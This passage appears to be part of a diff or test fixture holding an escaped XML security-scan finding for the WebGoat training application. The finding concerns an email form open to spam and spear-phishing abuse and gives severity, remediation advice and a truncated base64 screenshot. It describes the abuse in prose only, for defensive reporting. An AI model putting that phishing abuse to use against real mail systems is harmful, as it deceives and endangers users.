+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAl4AAAHgCAYAAAB0CWMeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAGIVSURBVHhe7Z2vtx3HsbYFP3hhqKGhYeiFgYGm/hMCQwMDLwwNNDQUDRQMNBUUNDyft+yxR+2qeqt6emZ6Zh6tdZak3b+qnqrueqf3Pue8e+MPBCAAAQhAAAIQgMAhBN4dscq33377xhcMyAFygBwgB8gBcmCvHHj//v0RkmbzGocIrxcMvmBADpAD5AA5QA6QA3vmwGZVdMAEhwivA/xgCQhAAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNf0IcJACEAAAhCAAATuQgDhdZdI4gcEIAABCEAAAtMTQHhNHyIMhAAEIAABCEDgLgQQXneJJH5AAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNegEL179+7t9cUfCEAAAhCAAAQg4BG4tVJYxNARoiizRmtPK9TaOdT/l6Cu57UCHXFQNs28dY6M79EcMvl0tE2sBwEIQAAC2wncVnhZhWvPGylVKD171jYpoeWtEQkvxUGtuT3F9plB+bXPqsfNqvLpOEtYCQIQgAAERhJ4lPBqwW29CarcFu0lvNbzZtbwGLS3Z+4VafOWarRmxp5I+EXiIyNMeuLriVgv1hnRm2FkCXBr7jvf8o082JgLAhCAwKwEbi+8VCH1BIe6CVLtSuC82pUwUaKqnaNa4C0blKBRfo9qjwSNx27NfJQde+VH1b6Mz7MeMtgFAQhAAAK/E7it8FoXqszNQbUQqv5bhZd1w7K+FbEEgSeavNsaxUjdeinhmBF2VY6jbubUuqPavRuq6vxWrDjIIAABCEDgegRuLbwqNyBKKPUUymh9dePlvfVkzRkJq6pfmRSO3u6qclL9lfjLtqt19m6vxiErojPxog8EIAABCMxD4LbCq70dUoV1EULejYoaX32LzhNemVui6NbHsnOLAM0Km1HcFEfl+152VOPv3Qb22qeE2zxHCpZAAAIQgEBE4LbCay1gem4PVKG15rfeCrREz/rGyApOZm1PuEVv/2XeGsxul0ggRTdiiltWeO0dXxUD1a7sq45X82XjRj8IQAACEDiXwK2F17lo77t6RRzdlwKeQQACEIAABOoEEF51Zo8fgfB6fAoAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCdxeeH3zzTdv7VcVUqb/skamb7VPdm6vX3Z81S76QwACEIAABCBQI3Br4WUJjr1EyF7zvsKZnRvhVUt+ekMAAmMIfPOXv76tv0bM+ppvyx9v/GJnZu7RPmXWbPus/ajY3rMWY44hcFvhVREh6lZsPde67xKi7HhrrJpDzb1Ok5E+H5N+rAIBCFydQCsGRoiDrXNE47NzZ/vtGb8ZbNjTv6fO/Tjh9YeniV/fiowETCS2WuGUSaRWIKmbudE3Xtn5Mr7QBwIQeC6BjDDwbsPa15ebnUz/L87r1W3b63V1+7a2eYsN1k2Umjuyrb1ds/p6Ile9zq3ZXHsU4VUQXhlxZoXXurV6vZYVbVmhlL3xim7e5kpPrIEABGYmoIRXdBtWbfvtvPxVaK1FVvTvPzxsO+PVHBV727nU/z1hVFnTEn2K2cy5dWfbEF47Cy91m/V5Qxo2RCLPS8is8Fqvqda+c/LjGwQgsI3AUcLLu8ny1s++1dgrbJRIU0Irau8VUNlx2yLO6BEEHie8qm/zecIoM8/Wsb89rQhhpvpF4orbrxHbiDkg8EwCRwkvT1TcRXhl/cuKq0hQPjNT5/L6tsJri+jJiKpMn1E2ZG+lKjdePTdqc6Uu1kAAAjMQ6L01GjEuK1i+OO8mfatxebtxhLiqsJ0hh55mw62F11r49HxHYXSTFL2FuP78lmdDpo8ljtpxbcKqz5NlmTxtI+AvBCDQTyD7ofHoQ97qlsZbY/26J7BGCK/PZ6fzYzOsm7esP7/VmcTc3pyVtdQtZX8WMDJL4PbCKwuCfhCAAAQgAAEIQGBvAgivvQkzPwQgAAEIQAACEPiVAMKLVIAABCAAAQhAAAIHEUB4HQSaZSAAAQhAAAIQgADCixyAAAQgAAEIQAACBxFAeB0EmmUgAAEIQAACEIAAwuugHHj3DtQHoWYZgwD5d5+0IJb3iSWePJPAbdVAezip/+8dfg7LvQnX5h8Rj9cc3lfNmv17Z/xd+9JapPaPNf8yn+Vdy23dJ2rbn9R8K2Rid7bV1j6wYrq81uaGlytRTr7mquTRFTieHUfWP4YAwusYzp8PCP7MQ2B0PEbPN5qUsq8qrFT/dVFUIm7puy7KbdEezeNK86nYne2LJZqUsFLtrUDLCvt1v+waZ/Nj/ecRuLUaWDah97f3lB2lgSo43hNaeyBEhUU95WULVMYWr+hFtxXtk2aGo/VkGtnXtkVMKvNET8lZ7lZ+eMWxMmfGD491VJgyscz4VN1P2TxVwiwSHiP244g9MGp/R3nf8lfixNpzmb1aLYN7Ca/1vJk1rDyKhFjVT/pDYBQBhNfPJNXhrUSSFwzvMI7Wq9iyLhhqXLYwqCLdFqmsDaPs84qkVeRHclYbzhM+Ue5k2np9ULy3rO0JMG/OSBRWBJ/aZ8rnI/ZAtD+qbRnhOio/VH5H7VlR5Akp78zJCq9WrLaC1Pv/Fp8ZC4EtBBBevwov9XRoFZWooLSHSfXQ9w6TNthtERx9WGcK49Y1K2LK6uvFrlqUrHhmN9cI4ZXJp0oeZcSVJQZUPEcIr6gYVvbi2v6RwkvFvZpbrb/W/o4ESFbUVvJjS7639lg8vNfa+PYKryX20f6v5pKKO+0QGEEA4fWr8KrA3Cp2Koe2smurLUr0XEF4eYx6OHtFIBuHSOxkCl0k2D3RbQklJUIyosybQwmvbGHNiokse+VzRZRk16yyH5EDvX5Ewl75G7VbeyZ6rbVf9c2KJ2vvZHhv8Z2xEOghcGvh1YoK6//ZPqroqXlGHpYjbRkhvDLib1RRVPb2ch4hmFRcskWg14fsuIyY9mxVcczsMU8AWCIme6ipObfkTZVXRfBnOPfOl4mVF68s92W8tVZG6FmiKzunWtObu+IbfSGwBwGE169U109VGdDRgWnN5R0S6mlvlC2WKMjY6a3v8Ypez4obVTAiltk12sM9in9GMGXyIYqlWt/LE+VvJa8zfVVsMsJrzT7j1xX2wIj9nckBi2/PnsvEOsN9LZbXc6r90I7zzqc2v3s4V/ygLwSOIHB74XUExLPXyAiDs21kfQjsSeDsPXD2+nuyZW4IQGAsAYTXWJ6Hz8aBfzhyFpyMwAx7YAYbJgsL5kAAAg4BhBepAQEIQAACEIAABA4igPA6CDTLQAACEIAABCAAAYQXOTA1gfVbOEe8nXPEGhXgs9lTsT3Td5R/o+bJ2EyfexGIzhjrmz96vR+ZoyPn6vWHcf0EEF797KYfeYfNubcPme/S6wm0mjfrV6Zf5rvJqj6odVV7dr3Z5snaPbrfKA6j7crOp75L0vKvzdtWAFXzutrf8m3PB70oxlXbr54v2by6az+E110j+7Nfd9ice/ugBFJveqh5s36pfl5B67V7Gdezbs+aap3snKPmya43ut+V7Y9yXQmyNcctomfUPthig8oJJbw8FkogqnVpn4/ArYWXt+mXDbC0e2GJxltjraeWzBytPd4hkl3z5Y/3BJU5CD0+0VhvvdYW63Bp/YpsXwuDXnuiOSI/Il+iw3HNc5mj7V/Jk6w4svzMrFth0BYqb0+pvZg5GlWOtblVtUXlqjovFO/MnszwzJ5fGaYj+rTnlXd+RWtl5ojOaeVHNH/LvOf8zJyZFhdvL6saEM2lWNB+PoHbCi+10VTieuPVvJawsDaXOmisw6A6j1pDCc5RvnjzWIUsyzfbzxM62QMvG4ctwqvXF5XDlu/Zw1/NrXIry02t05ODyrYoH6M4ZgTvqFiqeSrc9i4zGd7KXmuO5Xyojq3G0MtV5Vc7rtLfegDK5ro60/aON/NvJ/BY4aXQeZtdHYjZzVPZpOsDqBUrVXvUIeZt6l4b1NNj5QDqLeZZsaGESsRgq/Bq584Iw6hYZcZXY5PN7ZZjJUejfZmdR8UpYm3lipqv5TI6lmrPq7PsiHbP5x6xmhFOKhcVs4zYqp7RlbPM6hsJTWXLETFmjXEEEF4Oy9mElxfybDGyikN2TvWEVbEhEk8Z4ZMRFJVDSvVV9maEwjJH+3dPUcrYM0KgKoG+hVvGh0zxzRTPnmKoinYm5lvsr+63ceVgzEyeeK2cNypukfCy9lX2jMrunTZGGZ+jPaX2hNpvYyLHLEcRQHglhVemaKrNMWpTZ+fJbvTMIZc9uNSBtOWA6fW7wqHXz2xRqR7QlZzaUnBU3FSO9HJT/kUFNiu8snnjrbWHjYp3hedRxSKzjrfXtr5efRCo8O3JIzW/JZ5HnUNKmGfiRJ9zCdxWeC3J2T69VpJ2GWsdgpl5K4enOtwjW1RxWotGy25VVNcF3Ru/ti/ipYRXG7cth6LHzPJ3zSjDUxUCSwRFuZfJtah4Rb5m27y4RaKyjU8mPxRftV5272Vs2Wq/ZeuIvTri/DqytGRZq3OuzY3MeWWdT9Ze8c6o7BnTE5PoXIz2gSfcsmfakbFnrTqBWwuvOg5GjCCQFSUj1srMMZs9GZuf2ieKFXF8albgNwTuRQDhda94nubNbE9is9lzWmAutLASVqr9Qq5iKgQg8GACCK8HBx/XIQABCEAAAhA4lgDC61jet16t90aid9xomKPsqMxT+QzLaH+9+Sr2H2XTTOuc9XZo5bNIC6/ZYzm7fTPlHbbchwDC6z6xHOZJ72F49Liqw+0HXdu3I3vtr9oxW1E82u9eXlcYdxRLT4S1jI60Z+vb+1ttjdbvbbtCzmHj9QggvK4Xs90t7j0Ajx63BYRla6/9vXYcvR43XL2Ryo87KqYzCa9Re2kLu3ZsxCfblo86PSFQI3Bb4RVtxBci7wkos4GXsVEhs/pEa1q3L2qOxdaep7n1mPYgsubLPM16c65veDyf1iwzsckWnorY6LU/umUYxbmNdZvDvblg2WftgWwuZnlX1mhzI7PvvH3c+pHJtYW1d1MZ5U1m30Tze3mezf9ROR2VlZa1unWzbM/sk0ppi/hk2yrr0RcCFQK3FV7rw8w7hK2DNOprFZ/sIaPmjYpL5aDI9t1iT09xza7X008d/Ja91pjs2m2hVMLLi201Lyv9j7BR2eNxUeOyOZzde2uROmKfZe1TfmbyYoTwyqyj8kUVlehszO4rxSuzzy07sutvZaAY0Q6B3zTHnVEsG66yoSubNFvQrQ2dPbzbsVVfloOoPZAqfmYEZ8bHjC0Zu9q4Zg5kVaS32H+U8FI+ZHJjHQPrwaOSb2q92YRXL79MTlos23yP8tTL6b2Fl7cne+vCFuFjce61L3u+VnO4lwvjIPDFA9CdcSC8/AvNSjFZF5VM8fCKkJdr1UPyLOGV3StVf3oEkBKKowRUJU+UAB69HytCyrJNFd2MvRU+Uf6cJbyyOV3t17MHVDwqNvSsb+2pypr0hUCWwK3favQ2UuWwjDawBdmbu3fNSgGt9K3Y84VSfzdGzGWe5KviwhMwmTiptSpFYdShr3JP2TTCjkqeKOE1ej/uLbwy9o7k0xvPUQ9Dmfj17KUso4r/W2Kf3RfZIko/CFQJPFJ4LQfqawN6T8JLmyp+3kFkzW3NqQp+RUx5c3m2RIJqPcaz2zr8or4V/6PYKCGYKSBe3DNM1PzZg13lXtXPTOGKYrCMt+bpyaFske7dj5X882KmcjubJ4qrypkt54ASXj17slxIfj1Lt56p7XgVn3aPZNaP8qbqN/0h0EPgscKrBxZjIACBbQQyAqR3hT3n7rWJcRCAAAT+IPbvjISD+M7RxberEdh7P+49/9V4Yy8EIDAngdvfeM2JHasgAAEIQAACEHgiAYTXE6OOzxCAAAQgAAEInELgtsLriLcdog9RZ6N5hJ1ZW6J+I3wdYcfsc1wlnh5H4jx7ht3Pvj32jPqGg/tRxKMrEUB4bYjWiCK1x6GzwSV36N527j1/L5P1d1XNaqPlW6/dV/KxN6aM24fATDl3RB5b30EZfVem9x2XmWio7+70/FXjXmursRn76FMjgPCq8fqiN8JrA7xm6BEHZY+1rV2z2tn61mv3VfzriSVj9iNg5U02l7L9KtbvMae1x6x9pupC1bZoL0fCKnMGeGKwamMlNvT9WezeFYJ6+vIStjIu2mBqQ2SeRJankWhzRE9d3qHgbch2Lo9F6/dWX6N1PN+9Q1AdNlbMojXUobeOUfv0mLGlEls135qJ6hvl/zJPJn/UOnc9X/DrdwLZIt2bc+t8bOfoOcczeZ2J7zKP97e6TcqsYfWxeGdei8796OzotZNxPoFbC69sMlnF2Co+mSJsbbbs/CpRM/P0bC6r+B/tqyrg0eGetdUSRqpoqLlV+145uNVuzy4vxzJ+KptUftN+TQKZuGfyZ+vZmTkfIzGk2qyHvfWYVoDtIbw81lXhpVh5gvaaGTqf1Y8VXuvEUkkY3QB4Aq1nfu/pxtoElQ1YPdAq/bMHqjrUzhJeakt6cfT8yQrfZXwlttYh79lfsTsjtjLCN1OAFW/ar0cgE/fsOZHtVzmjrAeu9sGjR2hs2TcZZp7Q8+qE6m8JQ8VRndvXy9Y5LH6k8Ord3NlxmSLlibn2QPD+j/D6nUw2LuoAzh5oUeyywqtis5UD6uDuzcFMMfEOeGXTHEceVowmkIl7Nt+z/ZRgyM6jHvgiVpm9Uj2noweprC3e+bQWXu2DmecLwmv0bvllPoTXC8LqFz9nN2xUxHvnyD6xRIdOT+G3DoesD9l+agOrA3CEkDhDeHl+b+HWU+h6BH12X0Sxzdi6z9HGrEcSUGdINt+z/Y4SXpVzxxI8ikv0EJdpi/qoM1UJtMr6R+baHdZ6pPBaNu1a9VeSMDtu6WcJKmsOK6HaJ5O2gFpreHNHr1fWrhbkqq/rWHgMI6ZZ3hlRUD14swdtlINtmxLkXuyiAyqTC9bBHeV0jx13OETx4RcC0VkV5XSUZ9Wzxjo7lABRZ6wXX+9saG1WXBY20TreHO3rlT2rRFv27CX/6wRuK7zqKBixN4GM0NnbhjvMPyPHGW26Q6zx4VwC5PW5/O+6OsLrrpGdxK/sbdck5n5hhvU0yWvv/nCzoZ66Z4wtNkFAEUB0KUK09xJAePWSYxwEIAABCEAAAhAoEkB4FYHRHQIQgAAEIAABCPQSQHj1kmMcBCAAAQhAAAIQKBJAeBWB0R0CEIAABCAAAQj0EkB49ZJjHAQgAAEIQAACECgSQHgVgdEdAhCAAAQgAAEI9BJAePWSYxwEIAABCEAAAhAoEkB4FYHRHQIQgAAEIAABCPQSQHj1kmMcBCAAAQhAAAIQKBJAeBWB0R0CEIAABCAAAQj0EkB49ZJjHAQgAAEIQAACECgSQHgVgdEdAhCAAAQgAAEI9BJAePWSYxwEIAABCEAAAhAoEkB4FYHRHQIQgAAEIAABCPQSQHj1kmMcBCAAAQhAAAIQKBJAeBWB0R0CEIAABCAAAQj0EkB49ZJ74LgfP358e//+P2/ff/8DXzDYlAOvPHrlE38gAAEIPI0AwutpEd/g78ePn94+ffppwwwMhcAvBF559OOPCC/yAQIQeB4BhNfzYt7t8Ut48QcCowggvEaRZB4IQOBKBBBeV4rWybYivE4OwM2WR3jdLKC4AwEIpAggvFKY6PQigPAiD0YSQHiNpMlcEIDAVQggvK4SqQnsRHhNEIQbmYDwulEwcQUCEEgTQHgZqN69i7Go9jT9i3WMhNeLyfrrYq6VzN0af2989fXW6Kxds8QK4VVKOzpDAAI3IXBr4dVbYLIFrDcH9p6/1y41zhNelj9X9XFhsFUERSyrc2dZZvodEauMHS8+CC+142iHAATuSOC2wmtLgckWjt6E2Hv+XrvUOEt4Rb5c1c8Xh6o4UuzW7dW5sxxVv6NipexYWCC8KllDXwhA4C4EHiW8ouK3LhbRTdnS1s5lvb4U8HWbN3e2WJ2ZeFXh5TFqfV3+3zL0WK+5rm+oPLG9Zm7lgLeuZWfUN/KrjVu2b2SD4ui1Z3Io2gNtXnt7R62D8FKEaIcABO5I4LbCyyrOFeE1om+2uEY3LDMlXa/w8gSRJ5oscdPbNxI8ah2LfSsyKvNncioSS1WObV5lxX1mHeV3Jm8RXhlK9IEABO5G4NbCK7oNqRQ41bd6i5UtgLMl257CKyNKLIGqYlMRCEpUZYRMZo51XkY+ZW6s1HqZ9kiAtra2e8q6TczmN8Jrth2OPRCAwBEEHiG8rOJRKdiVvpGA8IrYEYEescYVhVcriiMhokTKDMKr4k/G3szeyMyTYdfmIMJrxK5kDghA4GoEbiu8qm+XZAuyKkKZeZRtsyZRVXgtfip/1c1OhmlWQPTerGXnrwgQj4963cuPKmePRc88Fb+XdRFes+507IIABPYkcFvhtQgk662QdRH13ipR49qi1b5dY61hjbnSLVjvj5OoFvLKDWOl7xbRvIfwau2JRKHXtxU8FRHb5miUi0pYqXbrEEN47Xm0MzcEIDArgVsLr72gW0Jir7VmmnfLD1Bt3yLL3jxVxJIlTkat64mSyvxWLL1cil73HgrWN2Xeg4D3QGIJNvXw0bZXxRfCa6bdjS0QgMBRBBBeBdJRMStMc9mu/Mqgy4ZuSsMRXlOGBaMgAIGdCSC8dgZ8p+kRXneK5vm+ILzOjwEWQAACxxNAeB3P/LIrIrwuG7opDUd4TRkWjIIABHYmgPDaGfCdpkd43Sma5/uC8Do/BlgAAQgcTwDhdTzzy674El6fPv10WfsxfB4CrzxCeM0TDyyBAASOI4DwOo715Vf66aef3j5++sQXDIbkwCuf+AMBCEDgaQQQXk+LOP5CAAIQgAAEIHAaAYTXaehZGAIQgAAEIACBpxFAeD0t4vgLAQhAAAIQgMBpBBBep6FnYQhAAAIQgAAEnkYA4bVjxJ/6q4V2RMrUEIAABCAAgUsTuL3win7f3OjI3UFoRb97cDSvPee7Qyz25MPcEIAABCBwDoFbCy/rF//uifnqxd6y/6o+XdXuPfOTuSEAAQhA4HwCtxVeXuFdv66EWXRb1rZZN0XW/NYv2la3TNlbO6/fYkf0S76zQiVaI2KyTnWPlWdfZc3XOh5Pxef87YgFEIAABCBwdwIIr1WEs6IsI+oWAbBMH4m8SpuXkGoOJaxUe+tPxb+9+iqfW7GXZXf3TY9/EIAABCBwHgGEVyC81M1JG7ZeIaDGjRZFVrqNXkP5FImiVgBHcfDm8W4bz9tqrAwBCEAAAhD4+V2Zu0LI3EpVxIEnVnpvybLj1jdmkTga4YvKhcoae/WtCLZMzJTPtEMAAhCAAARGErit8HpBioq/aldj14LI+nc7/xYh4s2/VYS0iWQJu6xAVLyy84zi1itSR24u5oIABCAAAQj8odbeHcn6baroBmTp14qZyuuLaFiKvvd2V1WkWDYoXyJRFsXce1tvLf48Jr1CMMOjd811LDyOkUi7+/7APwhAAAIQOJbArW+8esXHsSFgNQhAAAIQgAAEnkLgMcKrvY16SoDxEwIQgAAEIACBeQg8SnjNgx1LIAABCEAAAhB4IgGE1xOjjs8QgAAEIAABCJxC4JbC68ePH9/ev//P2/ff/8AXDMgBcoAcGJQDr3P1db7yBwIQ6CdwS+H18eOnt0+ffuqnwkgIQAACEPgDgde5+uOPCC9SAwJbCNxWeG2BwlgIQAACELAJILzIDAhsI4Dw2saP0RCAAAQuQeDjz28Rvr4+fXq9I/Dl108//fT5tdff1terbfmD8LpEuDFyYgIIr4mDg2kQgAAERhFAeI0iyTwQ2EYA4bWNH6MhAAEIXIIAwusSYcLIBxBAeD0gyLgIAQhAAOFFDkBgDgIIrznigBUQgAAEdiWA8NoVL5NDIE0A4dWgUr+QWrWnydNxNwIz/NLrKE/2tI/87Eurkdz2jG+fd7+MQnhtocdYCIwjgPAyWKqDU7WPC8+zZrob19H+ZOfL9rtadm31S41X7Vfj1dobCa9X39d3My5/t9/ZyHc1Xj362D8TgUcJr+WpVj3dqgNYtVsBbte0bGjta9eJ7F/Pt+63tkXN7yVmO/fSb23fVv96bfP8s15/vdbavLy2vG61r/312K7nseay2lvemfhG61txsWzP2OLZFo1V+0vFeJT/0f5T8WvzIdo/Ufx6+O1dGDzhtQiur7/++jcTEF57R4P5n0zgMcLLEkuegFLCSrVHAqY9yFWxzLZHBaMVHNGcke1rQZEVKlX7R2xGL9aR/ZZwXXNT+eOJZE8EWIVZvZbNu2xeZ+drxVuPT1V+Vs5W7VU8I3HUrq/s9/a1JdxG5HjPHJbwWgTWn/70p7dvvvnm7dtvvzXFFzdePcQZAwGbwGOE11qYqFsDdcCr9h7hZdlnHdrqViBKdHUjocZaIkrdEEU+VAtjdhOrImnZ7PnRijWPoVqzUpi9/Mzm3Z7CK8rtlo0nRtcitxV1W/Jb5YfiZ9lbsc/aH5m4K7tHtbfCaxFdX3311dtf/vKXt7///e9v//znP9/+8Y9//EF8IbxGRYF5IPDzOy93hPD6XY2Zop4tUJm5Mhyjg90aH4ka1b/Hnr2Fl+KoCmPGp1cfJYJ6hVeWT08BVjZ7flXzYC0kszyVPxXbPCGSiX2mTzVGkTCq7j/Faav91Xi1/S3h9de//vXtb3/729u//vWvn3+R+PdvP/zww9v79+8///36s4gzhNdW+oyHwO8EHiu8rKdudXBm270Eaw9ydbCrdiVkoqJSLZbqRqidr+XbIyx6C5Va6wjhVc0v73YoKwxUrNvc7WEbjVHzVWKS2T/V/LX6qweh6v5T54NitHdh8m681h+qb21AeO0dFeZ/IoHHCK/l4F0XREscLK9ZhbNt6zlIvfUzc0d91HjVrm4KIrvbor9wscas7bDWVO1ZO72113nQ5oRn97qgZvOjXcdayxNblh2WDZbwjuxTwqCHrRV7K4aZ/Kv26TmwvfxqX+/xYcv+7PGlOoYfJ1ElRn8I7EPgUcJrH4TMCoFrEeh5YLiWh1hrEUB4kRcQmIMAwmuOOGDFFgLvjDR+vcbrvzD4lcMXtzgeny1xYOzUBBBeU4cH4x5EAOH1oGDf2tW1yOLfv4S6yuHWCYJzCC9yAAJzEEB4zREHrBhBgFuu3wVX5bZvBHvmmJ4Awmv6EGHgQwggvB4SaNyEAASeTQDh9ez44/08BBBe88QCSyAAAQjsRgDhtRtaJoZAiQDCq4SLzhCAAASuSQDhdc24YfX9CCC87hdTPIIABCDwBwIIL5ICAnMQQHjNEYfhVlg/AHbLIpkfbvmaf/S6W2zeY2zGv56fk5WZd4s/e8+/tm3ED8H1fD3Cj574bYnNUWMRXkeRZh0IxAQQXjfOkNEFxPpJ6xa+0evOFqK9/Ns6rxqv2kdwHrGGmkO1j/DjjnMgvO4YVXy6IoHHCK/1k7L31Kx+3Yq69cn+ypD1zdC6iETrW/ZbQqjtNzIptwqvKt/W9ir/qu/tTY1X4KPXoxsZNf8yr+LkiV01rp1f8a3ws2IT5WcknpSwyvDP7I02Vm18rFu86FbXiq/ypcJ4a1+E11aCjIfAGAKPEV7WgdmKHqsQLa9ZB2hl/LJ+e5hn548OfG/u0Yf+FuG1ld/W8Wq7eIW650ZP2erFUuVT1QdPWFk5l7FZrW/lYSW/o77evqnMvyV/q+dHJMAzHPfog/DagypzQqBO4HHCKzrAraf2tn/mqdg7dNc3Dm2RyhS+6i3BHsIr8l8VwSrfyo2JNXfF/5F9M7H0BN2Wgq18iITHVn5KNFWYVP3wBJ/nb7sPLYGaEdxKKCs/6sf1thEfPnx4+/7779/+9a9/pb9e/V/jPn369NviP/74cZshjIbAwwkgvH5NgEphUEXGa7+D8Mrsl1EsVeFShS9jazaW6sZFtStf1uIh0zcjDJSgGMlPcazkhPI/OxfC68sMeImo163XTz/99Ievl7Bafy23Y//9738/izWEV+U0oS8EYgIIL0d4tTcP6rBX7VZhVYUvuqHIFFXPJlXYvJTJjsuwqNqv5szaVvHNm1OtpWxVwnydK5UDTOVL1K58ytpRYVbp2yNszxRe7fmR5bdnv//7v/9zRNdPnwXZ6+t1m/Xjjz++vQTXf/7zn89/v8YhvPaMDHM/jcDjhNdyIEaiZGlbH57rcdahqtrbYqvWt4pGu4YlXiyb26LVU2QjbmvfIhsVo3aNCv9FrChG0QZXYyv2Z3IkikuGt3frpdZuWWXjV2GnbMjkf3UPqPhZDz9WDCz2Xm6ubbT6zFRQLOG13HL9Lrh+EV2vtxcRXjNFD1vuROBxwutOwcMXCEBgXgI9Dzh7etMKr/Vbi7/cci2i63Xb9Yvw+vCBG689Y8LczyTwGOHVe4PwzLTAawhAoEogc+NWnXNkf4TXSJrMBYF+Ao8RXv2IGAkBCEDg+gQQXtePIR7cgwDC6x5xxAsIQAACIQGEFwkCgTkIILzmiANWQAACENiVAMJrV7xMDoE0AYRXGhUdIQABCFyXAMLrurHD8nsRQHjdK554AwEIQMAkgPAiMSAwBwGE1xxxwAoIQAACuxJAeO2Kl8khkCbwOOFl/WDHllbPz9/JzJuOCh0hMDkB8n3yABnmIbyuFzMsvieBxwmvVxh7hFUm/Fvn3To+Y+OZfe7u35lsz1ibeJ5BvX9N71cGvX5348ePn774tUHLrwzK/gDV19x/+9vfbvf18os/EBhNAOG1Ihr9kFXr19d4N2U9P0hR/TqaRTD2/iBY79fvrH1Qdisbo/FqrErs6q9s8X7dzLJOe2OT4RPZmM2PTI55fSKGI/lk1vceYLgJU5l8XnsrvP785z+/fffdd29//1kwLV+vPj/8/EuxXz/JPvuT6//5z3/+4fc5nufluJVfP9n/xePlH38gMJIAwsug6T3JW8W6FS7rwl4NVHSDYLVVbxyioqjm39ruFeoKI0tMRbyj/pY9W0VDlB9b+anxnj9VPlHuWyLdevio5mUlB+jbT6AVXi/R9e9///vthx9++O3r/fv3n39PY0V4vW66ll+i/bo9u8vXi/TLr5d//IHASAIIr6Lw8oTWUvi2FO8jhJeXPNZtindrZPmYHb8leY8QXnvZ1+ZHhqEnarwcW/i0f3uiVwnTKNdHCOktrBlbJ7DXW42LMLmL4Fr78aKM8KrnGiNiAgivwcJrS0E6W3hVN8va3swtR6aPssESFb3CoiI8lF2WDYqP4lFtR3hlovTcPnu91Yjwem5O4XkfAYTXDsKrV3xtvdFRKVAVdpUbDyUSlDBRti/to4SXd+OUtcPqV4lfu756K1G1r/keceMV3bplcmELZ8b2EdjzrcaXRdx49cWFUc8j8CjhZb0d1oqLts+64K+LzbrfUvTaGw6vOEVp1s4b2VdJV+X72gfLhq3jPY4VH1rx1Y71YmcxbGOW8U/ZqtaPckatr9qVMLXim819tQc8vooX7ccS2PutxtfnobJfVj5nx/b0e623jFv/W831ihBvNR6bp09Y7VHC6wkBfYKPs96ozGrXE3ICHzWBvd9qVCJGCZ+KIMquZa1ZWQfhpfOKHnUCCK86M0acRCC6DTzJpN+Wndm2s9mw/hwEWuH1j3/84/OPjnh9J+Py9foREq+f4VX9rsaXh1kx5AmfiiDKroXwmiP3sOJLAggvMgICEIDAAwjM8lZjVmC1b0euxdYyx9KnFWLrsa823mp8QIJfyEWE14WChakQgAAEegns9SuDXp+Ben2w/nVLlv1aCyNrzKu9fX392jJ+6dO2rcdGfZW9L7/4jFdvxjHOI4DwIjcgAAEIPIDATMIrEkavtozwauewRFhGmEXiC+H1gI1xgosIrxOgsyQEIACBownMKrw8cWR956MnrqIbr1bIWaLOE18Ir6Oz9BnrIbyeEWe8hAAEHk5gFuHlCR8lnrwbroywqsy9Xgfh9fBNs5P7CK+dwG6dVv1oAtW+df2nj4fv0zPgfv5fXXipz3FFt2GVWy6E1/1yfzaPHiO8lmvr2QLgfvju5w+XRn/uJgxmi0/Lt/1xEZUfH1HxrX175Sr5ip3zE9hbeL1+DEX2y3obsR3b9lm3v9rU/5fxr37r/u3YyGZuvObP6yta+Bjh9QqOEitb20clQK8datwo+3rnUfap9t51l3HZ+b1+lhjL2pRZe8v8GTsyNmTmoc81CcwkvLIC7ex+CK9r5vrsVj9SeFk3ENYT2Dp42fZF4EXFWxXAnnZl39quyP+2n8fA8jO6rcnaF/FTt0HRGpn1lUBTwkj5r9iqw6LqfyV/1dq0X58Awit/I7cIPoTX9fN+Rg8eJ7zWxVMV0jZgGUEUza9E2dZbucg+q83yv3Lbk/G1Lf7RJmgFYWX+rH9qE2YYLn2q9kX5lsmtKB9H+a/40H5dAggvhNd1s/delj9OeEVCoKf4bZnPSqUtNmTGZm5lsna1wkPdK